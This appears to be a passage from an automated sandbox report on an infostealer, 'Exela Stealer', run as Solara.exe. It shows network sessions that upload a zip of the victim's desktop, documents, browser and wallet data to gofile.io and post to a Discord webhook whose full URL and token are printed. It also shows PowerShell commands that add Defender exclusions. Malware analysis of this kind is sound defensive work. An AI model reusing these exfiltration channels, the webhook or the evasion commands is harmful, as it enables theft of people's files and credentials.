33 43 a0 7c 48 70 fd f4 14 d4 e0 a6 01 00 Data Ascii: PKm,ZBrowsers/PKl,ZWallets/PKm,ZGWEDisplay (1).pnglPS[}@JG@zwDF)RBMT(R.R${oaa=I4;rm`:C;d[3C\|Hp
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: d9 79 a4 b0 e8 8c 8e 3a cb 77 2e f2 0f 36 e3 60 83 9a 50 b1 35 7d d2 fb ef 9e cf 5f aa be 7f eb e9 53 06 4e 0b 0a 67 3d 40 d5 7b 0a 11 2c c8 0d 34 42 2f a0 46 a4 04 75 e6 72 7d f2 3d 8b f3 16 52 49 b1 d4 bf 7a c2 1d 36 f7 7b 46 6e 93 c5 42 67 31 65 94 4e 8d 93 a0 62 4f 6f c1 1d 6e 4e b3 04 8d 4b 8c 95 2f d2 71 6d 34 e1 96 44 60 5f 37 cc 39 3f 37 05 3a 04 14 4e c2 08 78 36 c4 55 9e 70 d8 bc cd b6 c2 c9 f7 e5 70 ef 9f 3e e9 31 68 a4 ce 8d f8 56 8b 59 2a 7c 32 34 56 e5 64 46 0f 0e 77 d9 fb 80 63 3c 5d 8b f3 db 57 61 9f 39 53 0a 44 3c 21 24 85 9c 27 3e a3 85 c3 f0 d7 80 76 f8 3f c0 a3 4e 11 8a 87 23 91 ea 32 61 bf e2 49 52 2f 01 b4 0f 78 68 30 a1 f3 ef ec 08 c6 24 c3 a2 e9 39 0d 94 57 c5 ff 5d 6f fe 77 5b c4 29 2f 9f 52 05 4d 91 b4 81 b9 32 80 2a cd 96 8b 3a Data Ascii: y:w.6`P5}_SNg=@{,4B/Fur}=RIz6{FnBg1eNbOonNK/qm4D`_79?7:Nx6Upp>1hVY\|24VdFwc<]Wa9SD<!$'>v?N#2aIR/xh0$9W]ow[)/RM2:
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: 0a c4 d6 df 78 a2 1c b8 6f b0 6f b0 ca b7 32 97 1b 8d f5 26 0b 99 0d c9 93 57 08 36 80 c2 66 cf 55 5e e4 4f 2e 55 ac b0 46 99 0b a7 ee 0a ef 0c 56 8f f0 18 4c 1a d5 73 b3 8c 95 b0 43 a6 47 56 9f ba 66 10 b7 5e 5b 9c ca dd d8 cd f8 df 1a ef df fc 26 60 ca ec 16 a1 d9 23 39 b7 19 36 25 a0 b5 df 42 28 db 49 34 4c cb 55 19 78 a8 2d 9b 07 1e 38 a7 eb ff 78 d9 a4 e8 a7 c7 63 e2 4b ed ce 16 b5 5c c5 b6 29 01 a1 92 16 1b ac fc 4a 46 60 82 61 25 93 22 8b 2a a8 74 bf b8 78 20 5b 6d 63 e5 62 4d c1 45 ac a2 f2 5c 7e 11 ca a2 29 72 75 b4 21 2f bc 9f 3f aa d0 d8 b3 12 78 33 82 ab 8d af 03 5f 4b bb 97 a0 2b 23 e1 2f 23 92 e6 c3 5c a8 19 e3 fc 34 5b 34 02 aa 85 23 1f 33 9d 27 6e 9c 75 df 38 a6 d7 97 82 de 3d 39 1d 61 5a 64 95 01 e7 e5 a9 ec 1c 39 a1 43 e8 2c fe e0 2f e6 Data Ascii: xoo2&W6fU^O.UFVLsCGVf^[&`#96%B(I4LUx-8xcK\)JF`a%"*tx [mcbME\~)ru!/?x3_K+#/#\4[4#3'nu8=9aZd9C,/
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: 26 98 70 99 f9 5e 76 ff 7d 1a f7 7f c6 8b 1b 17 be ea bb 02 8c 58 83 87 cc 06 b8 3e 7a 16 a0 d9 5d 7d ea 35 e8 61 d6 95 d5 92 58 53 ee e6 ff fc e5 58 b3 ac b5 d5 a7 7a fe 0c 00 fc 64 cb 33 02 27 9a fe 20 94 3a 68 08 20 37 6a 23 6d 01 3e e1 63 22 1d a0 6b a1 84 9e c6 0b 13 73 a3 ab b8 84 08 f0 be b3 50 44 69 81 28 26 dc 5e 10 fd 80 33 4f 9a 0d 98 40 b0 c4 5d e1 aa 73 33 4c 0f 7a f7 3e f2 bd 7b 5f 95 3a bb 3b 26 e1 59 0a 99 bd d4 14 60 34 3a 25 62 2a 55 f0 4c ad e2 15 00 a3 3e 07 39 48 09 14 42 cf 28 e3 0e 85 dd 27 f6 8e f2 18 94 d1 cc f8 d0 3c 50 82 da 22 9f 0a 79 47 c3 a6 bb b0 2f e0 7c 10 a7 00 67 3b f6 fa c3 17 80 1b 7d 32 33 ce 86 9c 3c 0d a2 95 66 e9 4f ce ab 8b ec ca d0 44 83 c5 ed 90 d8 48 1f 95 7d 1e c8 e9 ef 27 9a 95 38 0f 94 eb 6d d7 81 ea 8f 25 Data Ascii: &p^v}X>z]}5aXSXzd3' :h 7j#m>c"ksPDi(&^3O@]s3Lz>{_:;&Y`4:%b*UL>9HB('<P"yG/\|g;}23<fODH}'8m%
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: ad b2 e0 72 ac 57 6b 4a 84 57 d9 03 69 d2 52 25 67 5e 88 f6 54 65 38 6f 37 cd 0f ff 69 4b 12 d2 fb df c0 a4 52 9d d3 43 9c a7 d9 c1 d3 a8 2a 72 e2 62 ba 20 24 e6 e7 cd 2f 28 03 fe d8 01 c5 75 45 d9 01 52 d4 0f 14 d1 b7 1f bd 12 81 0b 42 4b 31 fb 22 ae e1 12 00 0f aa 14 b0 24 d5 cc 9a 72 a3 2a 72 49 91 f2 d6 a9 a1 ae ea 03 92 3b 63 be e9 e3 8b 5f 0d 68 fa ab 3e 23 c4 9d 93 ed 6e 87 bb f1 ec a5 e0 b6 89 73 33 36 b3 ea 16 fc 2a d7 81 5b c7 86 42 c2 c3 50 8d 0f 27 34 46 87 22 e7 d8 87 31 8a c5 54 58 bc ea ee 88 42 ca 5a d6 82 1d fd 42 4e 27 ba 78 59 ad ea 44 30 2f 6c 0e aa a9 2f c0 29 6f bd c5 af 76 8b 5c 28 ae 65 4d fe 26 05 75 d3 5c e9 2f d2 31 cb 2a fa aa cb 64 a0 7e ae 04 01 f1 4b 8b 34 cc b1 ce 11 fa 40 c5 85 a7 86 62 9a cc 17 cf 06 fb 9a b0 cc 87 94 d8 Data Ascii: rWkJWiR%g^Te8o7iKRCrb $/(uERBK1"$rrI;c_h>#ns36[BP'4F"1TXBZBN'xYD0/l/)ov\(eM&u\/1d~K4@b
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: d1 9a de a2 ec 1e 6f 5a 55 fe d1 16 fe a6 ef 4b f5 41 b0 fe 77 b9 e6 14 73 1c 5c 44 5a 1c e5 7e 5c e6 20 f3 93 07 ab 4b 94 2c 25 24 45 3f 16 2d ec 5d b4 79 e9 7e ec d3 f0 4a eb df 2d 65 b7 cc a2 c4 44 9b f1 01 f3 85 eb de 51 35 6e b4 70 cb e2 25 33 ff b1 5f 59 85 92 bd 63 43 31 7e 54 b4 ab 99 e3 c9 0f f9 bd 50 9d 14 da 26 a1 b0 9f 1b b4 e8 39 69 cf 6b ab 56 b9 0a 25 e2 3a 31 2b f5 87 9b 79 77 47 15 07 75 a8 09 6b c9 a4 43 b3 36 84 ce e1 d6 b9 2f 84 3d 25 7a c5 5f c8 73 37 e8 eb 59 e3 b3 2c 18 1b f4 6b 3d fa 19 73 f0 7a 9b cd ce 2f ac ea 51 d8 da 84 18 bd 6b ad aa 97 20 c1 14 4d 23 94 39 88 74 99 75 27 03 98 0b e6 d8 9e 4f 5d 16 69 85 09 00 02 60 93 c2 af 40 7b 0d aa b9 bd 5a d6 2b 1f 81 d9 2a 04 64 52 86 5e 25 0d f8 51 07 2f 2a 00 79 b4 83 0e 73 74 ff e1 Data Ascii: oZUKAws\DZ~\ K,%$E?-]y~J-eDQ5np%3_YcC1~TP&9ikV%:1+ywGukC6/=%z_s7Y,k=sz/Qk M#9tu'O]i`@{Z+dR^%Q/yst
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: 31 2a 1d e4 6a 9f 89 2e 9d da f4 3d c7 03 1f de db 9b 91 3f 66 5a 4b aa dd ee c6 ad 3b 92 21 f5 e2 50 aa 7a f9 66 cd 55 f5 f2 fb 1d 85 54 5d cd 4e 2d 22 c7 d1 f8 75 6d 66 8d ac 6f 44 71 e3 26 45 ce a2 e7 f1 c5 33 bc 0d 21 ad e7 52 4f 07 69 75 e6 f1 95 f1 e6 b6 05 aa 80 16 2a 2d 41 59 f1 cd f6 f7 1a fd 62 8f 80 7d 4f 68 4e 0d e6 0f 8d aa 66 0b 3d b4 81 48 a3 34 ec 6c 84 6e 57 f9 58 6b f2 05 4f 3e a0 fe d1 d9 3a 2e fb b2 75 22 cd dd e8 e1 af c7 df 19 25 54 6d fc ed 63 9a ca 87 d1 e0 86 91 b7 6d 23 ee 27 bc b3 c5 3d 80 cd f0 38 eb 7c 69 57 e9 1a eb 6e d1 ec d2 23 f2 d6 66 44 bd eb 57 03 b1 31 bd 79 f9 55 c5 a7 8a 67 b5 fb 6a f3 f5 02 0e a0 c5 21 3b d1 30 8b d9 c7 17 7d e2 54 18 55 6f 5a 8c c7 ba 1f ac e8 9e a9 e5 eb ae a3 da e7 d0 cc be 51 2a 9d e3 be 13 7a Data Ascii: 1j.=?fZK;!PzfUT]N-"umfoDq&E3!ROiu-AYb}OhNf=H4lnWXkO>:.u"%Tmcm#'=8\|iWn#fDW1yUgj!;0}TUoZQ*z
2025-01-12 06:11:29 UTC	16384	OUT	Data Raw: d2 bc f8 b1 82 b4 33 76 18 84 ae 7e c3 e4 8a 7b 45 ea 5f 4b 46 60 0f df de 5c 35 86 34 f2 40 06 53 b8 f7 9c 07 c2 23 d1 da 3f 87 61 e4 74 4e bc c9 5c 83 14 44 30 ac 7c 7e f9 1c 8f 87 4b 15 d3 57 2c fd ce 9b e0 b6 fd d3 c2 c4 7e c4 c9 b9 e6 a5 10 8d 7d f4 e1 78 21 c6 97 de b4 05 22 d7 20 4c a7 07 08 5a 16 8b 45 ca 40 0a c2 6b 2a 79 17 d7 29 f7 f7 1d ae 75 4d eb 67 cc 37 87 09 e7 ed fd 9f c1 fd 15 2b 13 7b 6e 13 44 62 bf 25 5d 11 c9 c8 e9 d8 d7 52 3e af 23 fd 7c e4 92 91 5b 2d 12 fb d3 f4 66 aa c4 fe 9a f0 fd 35 5f af 8f d3 12 62 03 5b 97 e8 8d 2b 58 2b 7a 0d f9 2b a6 2c e5 51 b3 2a 6e 24 e4 e5 78 4b c9 60 83 e6 23 4d fd 50 ba 3f 72 82 18 9d 75 d9 db d1 77 fc ea 1a b1 ba 2c 47 11 13 b6 dd 59 5d 85 b1 25 95 dd 9a bc 4a d4 7c 9d d4 71 f8 65 b3 1e 5e b5 68 d9 Data Ascii: 3v~{E_KF`\54@S#?atN\D0\|~KW,~}x!" LZE@ky)uMg7+{nDb%]R>#\|[-f5_b[+X+z+,Qn$xK`#MP?ruw,GY]%J\|qe^h
2025-01-12 06:11:30 UTC	833	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 06:11:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736662291 x-ratelimit-reset-after: 1 vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7iaXnJwus9Ix%2F41JVXRt1wTLXILw75iUASarlJSYLRCHA2%2F1E9XIuTcDQS1oQzEe0w4z%2Bmh4V8I3vv%2BdHGAiz4G7%2Bi1NF105%2BXRHCE2aRhequ1YzKQUS6Ae%2BhCBTIEbs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900afd4baae472a5-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49990	51.91.7.6	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:31 UTC	134	OUT	GET /getServer HTTP/1.1 Host: api.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11
2025-01-12 06:11:31 UTC	1146	IN	HTTP/1.1 404 Not Found Server: nginx/1.27.1 Date: Sun, 12 Jan 2025 06:11:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 14 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 0 ETag: W/"e-18wLxDNka2j9cTg7gpgujtuBb1A" X-Robots-Tag: noindex, nofollow
2025-01-12 06:11:31 UTC	14	IN	Data Raw: 65 72 72 6f 72 2d 6e 6f 74 46 6f 75 6e 64 Data Ascii: error-notFound

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49991	45.112.123.227	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:32 UTC	240	OUT	POST /uploadFile HTTP/1.1 Host: store1.gofile.io Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11 Content-Length: 37581 Content-Type: multipart/form-data; boundary=d5594edab89946da91a68a41e5383196
2025-01-12 06:11:32 UTC	36	OUT	Data Raw: 2d 2d 64 35 35 39 34 65 64 61 62 38 39 39 34 36 64 61 39 31 61 36 38 61 34 31 65 35 33 38 33 31 39 36 0d 0a Data Ascii: --d5594edab89946da91a68a41e5383196
2025-01-12 06:11:32 UTC	127	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 7a 69 70 2d 63 6f 6d 70 72 65 73 73 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 74 65 61 6c 65 64 46 69 6c 65 73 42 79 45 78 65 6c 61 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/x-zip-compressedContent-Disposition: form-data; name="file"; filename="StealedFilesByExela.zip"
2025-01-12 06:11:32 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 6f 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 44 65 73 6b 74 6f 70 2f 50 4b 03 04 14 00 00 00 00 00 6f 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 63 75 6d 65 6e 74 73 2f 50 4b 03 04 14 00 00 00 00 00 6f 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 44 6f 77 6e 6c 6f 61 64 73 2f 50 4b 03 04 14 00 00 00 00 00 6f 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 4c 46 4f 50 4f 44 47 56 4f 48 2f 50 4b 03 04 14 00 00 00 00 00 6f 09 2c 5a 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 4c 49 4a 44 53 46 4b 4a 5a 47 2f 50 4b 03 04 14 00 00 00 08 00 d6 1e 45 57 52 e3 0d dc 83 02 00 00 02 04 00 00 16 00 00 00 44 65 73 6b 74 6f 70 2f 41 51 52 46 45 56 52 54 47 4c 2e 6a 70 67 15 93 47 Data Ascii: PKo,ZDesktop/PKo,ZDocuments/PKo,ZDownloads/PKo,ZLFOPODGVOH/PKo,ZLIJDSFKJZG/PKEWRDesktop/AQRFEVRTGL.jpgG
2025-01-12 06:11:32 UTC	16384	OUT	Data Raw: 9e de 54 7f dc a5 22 aa 9f 8f ab e5 3b fb 9c cb 97 b5 ac b7 0b dc 9c 6e 33 45 cb 9d d3 9c a3 d4 92 e9 02 b6 6f 05 ab 7a 14 50 73 62 15 a8 ec 31 75 1a 89 e3 95 d9 55 50 3e 1d c2 e9 95 22 3f e3 ee d0 a5 df 50 a3 92 78 d5 ea 41 ea 4c 82 ac d1 77 5c 00 4e 8b 99 86 4e 3d 28 34 72 fa b0 ed dc de 75 97 4e ee b1 c2 74 cd 65 62 20 7d 63 f9 22 80 76 ad 0e 7f 7c 78 af 94 13 42 e8 2d 61 e4 f9 99 8d 11 44 f1 c8 e0 c2 a7 7d 41 95 f6 fa 94 ad c3 80 ef 15 94 a9 55 2b 80 b4 f5 55 06 63 70 89 8a 87 34 a2 6e 86 2c 4c 6c c5 c6 a8 42 05 e9 7e 6b ae 1f ee e8 c6 d8 82 d2 ee b0 66 39 71 cf 93 b0 5c 31 9b e0 8c b3 bc b3 23 9f e0 8f 31 03 9b cd 66 24 db ac fe 02 6f b7 2c 6f 8f cb 7c 98 27 59 dc 55 7a ef 5c 55 9f 1f 5d f5 12 71 2c db 5d 55 75 5a f9 dd 19 2e 6f 38 59 51 e1 c6 e9 df Data Ascii: T";n3EozPsb1uUP>"?PxALw\NN=(4ruNteb }c"v\|xB-aD}AU+Ucp4n,LlB~kf9q\1#1f$o,o\|'YUz\U]q,]UuZ.o8YQ
2025-01-12 06:11:32 UTC	4610	OUT	Data Raw: f4 42 1e 3c a5 f7 1d 09 e2 0b 62 0b 99 94 15 e6 f0 65 2b af d6 d1 cd 13 0e a6 a9 8e 9b 9b f6 07 35 fa 3c db 5c 93 e9 e5 ea 9f 5f 39 12 8f 52 1c 7c da b9 af e1 77 96 e2 47 7f bb 6f bd 3f 47 8a c5 97 e3 6d da 62 3e a2 6b 66 32 6b c1 32 b1 d5 16 77 71 9e 9e 69 74 95 f0 a9 8a e7 57 70 67 ac f3 89 ba bf b0 5b 17 4e 9a d4 96 0c aa 0c 56 a6 7c 76 ab 4d b5 db 83 ad 5e 73 9d 3f f5 3b fc e6 52 06 58 bd d6 fe c2 ca e9 67 e7 57 f1 e6 a3 ab e7 9b 91 37 e1 13 3d 35 cf e2 6c 31 af d5 10 31 62 7f 18 02 a3 f5 6b 61 5e 0a f5 25 91 d1 b3 75 e7 5b 88 40 36 c4 c2 9e 82 46 b2 3d e2 26 7f e5 63 b9 75 84 d0 96 3a c5 06 64 a8 19 91 55 35 75 17 f0 31 bc f2 75 ca 0a 12 19 a9 85 92 9d e0 8d 6c ab 6f de a3 da 2e 62 42 be 49 eb 39 4c e9 49 9d 70 7f 7f ff 50 4b 03 04 14 00 00 00 08 00 Data Ascii: B<be+5<\_9R\|wGo?Gmb>kf2k2wqitWpg[NV\|vM^s?;RXgW7=5l11bka^%u[@6F=&cu:dU5u1ulo.bBI9LIpPK
2025-01-12 06:11:32 UTC	2	OUT	Data Raw: 0d 0a Data Ascii:
2025-01-12 06:11:32 UTC	38	OUT	Data Raw: 2d 2d 64 35 35 39 34 65 64 61 62 38 39 39 34 36 64 61 39 31 61 36 38 61 34 31 65 35 33 38 33 31 39 36 2d 2d 0d 0a Data Ascii: --d5594edab89946da91a68a41e5383196--
2025-01-12 06:11:34 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Sun, 12 Jan 2025 06:11:34 GMT Content-Type: application/json Content-Length: 439 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-12 06:11:34 UTC	439	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 36 36 36 32 32 39 34 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 59 6f 62 74 45 30 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 73 77 61 41 43 4a 59 48 51 4f 77 6b 4d 73 58 38 64 4f 68 38 53 4e 59 32 41 73 59 6f 47 42 33 66 22 2c 22 69 64 22 3a 22 39 61 38 37 65 39 32 39 2d 30 39 63 32 2d 34 35 35 32 2d 38 38 64 37 2d 35 38 39 61 38 33 61 32 36 36 30 61 22 2c 22 6d 64 35 22 3a 22 32 32 64 65 36 39 61 64 33 38 34 38 62 62 39 38 33 65 33 31 31 35 34 39 36 61 62 65 34 37 34 66 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 36 36 36 Data Ascii: {"data":{"createTime":1736662294,"downloadPage":"https://gofile.io/d/YobtE0","guestToken":"swaACJYHQOwkMsX8dOh8SNY2AsYoGB3f","id":"9a87e929-09c2-4552-88d7-589a83a2660a","md5":"22de69ad3848bb983e3115496abe474f","mimetype":"application/zip","modTime":173666

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49992	162.159.134.233	443	2980	C:\Users\user\AppData\Local\Temp\Exela.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 06:11:35 UTC	281	OUT	POST /api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9 HTTP/1.1 Host: discordapp.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.11.11 Content-Length: 419 Content-Type: application/json
2025-01-12 06:11:35 UTC	419	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 53 74 65 61 6c 65 64 20 46 69 6c 65 73 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d 62 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Stealed Files*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thumb
2025-01-12 06:11:36 UTC	1109	IN	HTTP/1.1 204 No Content Date: Sun, 12 Jan 2025 06:11:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: __dcfduid=1465091ed0ac11efa2a502127856c73e; Expires=Fri, 11-Jan-2030 06:11:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736662296 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2oS8yPWU96vVn8NMgrdPsPmD3avUBCG7SbrVlD5DQEcUcp%2FElyr9DPfiNDInuvJXypfaJXbyiF7DzX5kMOI4h5VSH2YE9z0wT3lvzByn9JCUR8aqesA9HllNLXZQ%2BhDw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=1465091ed0ac11efa2a502127856c73e4e4ca8f501534de89a75dc58d266d310b14ecab19f99a974acab6242bcb32ca7; Expires=Fri, 11-Jan-2030 06:11:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
2025-01-12 06:11:36 UTC	626	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 46 75 41 7a 50 4e 7a 73 4e 75 6d 46 46 41 75 6b 4d 69 4c 79 38 75 79 6b 6d 30 6e 62 74 42 46 7a 6d 5a 55 5a 43 4b 37 33 38 6a 34 2d 31 37 33 36 36 36 32 32 39 36 2d 31 2e 30 2e 31 2e 31 2d 78 30 31 4c 65 4b 70 41 62 68 5a 64 6c 64 6f 74 35 53 38 62 54 61 61 35 45 36 45 6c 79 4c 2e 64 75 2e 69 59 72 6d 68 69 55 38 74 6e 69 7a 38 69 6d 59 50 4a 4c 49 5f 4d 72 6b 5a 73 57 6f 68 75 30 6c 7a 71 6a 59 70 6f 68 46 67 46 54 4c 45 41 4a 38 70 49 79 77 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 31 32 2d 4a 61 6e 2d 32 35 20 30 36 3a 34 31 3a 33 36 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 Data Ascii: Set-Cookie: __cf_bm=FuAzPNzsNumFFAukMiLy8uykm0nbtBFzmZUZCK738j4-1736662296-1.0.1.1-x01LeKpAbhZdldot5S8bTaa5E6ElyL.du.iYrmhiU8tniz8imYPJLI_MrkZsWohu0lzqjYpohFgFTLEAJ8pIyw; path=/; expires=Sun, 12-Jan-25 06:41:36 GMT; domain=.discordapp.com; HttpOnly; Secur

Target ID:	0
Start time:	01:10:24
Start date:	12/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	01:10:24
Start date:	12/01/2025
Path:	C:\Users\user\Desktop\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Solara.exe"
Imagebase:	0xd10000
File size:	14'390'272 bytes
MD5 hash:	CC6D7A6B17FEBE201B7F7D26CE944C08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:10:27
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:10:27
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:10:38
Start date:	12/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\Solara.exe"
Imagebase:	0x7ff6284a0000
File size:	5'527'040 bytes
MD5 hash:	089094590DF5698B03A7428A5864ED33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:10:39
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'
Imagebase:	0xa10000
File size:	452'608 bytes
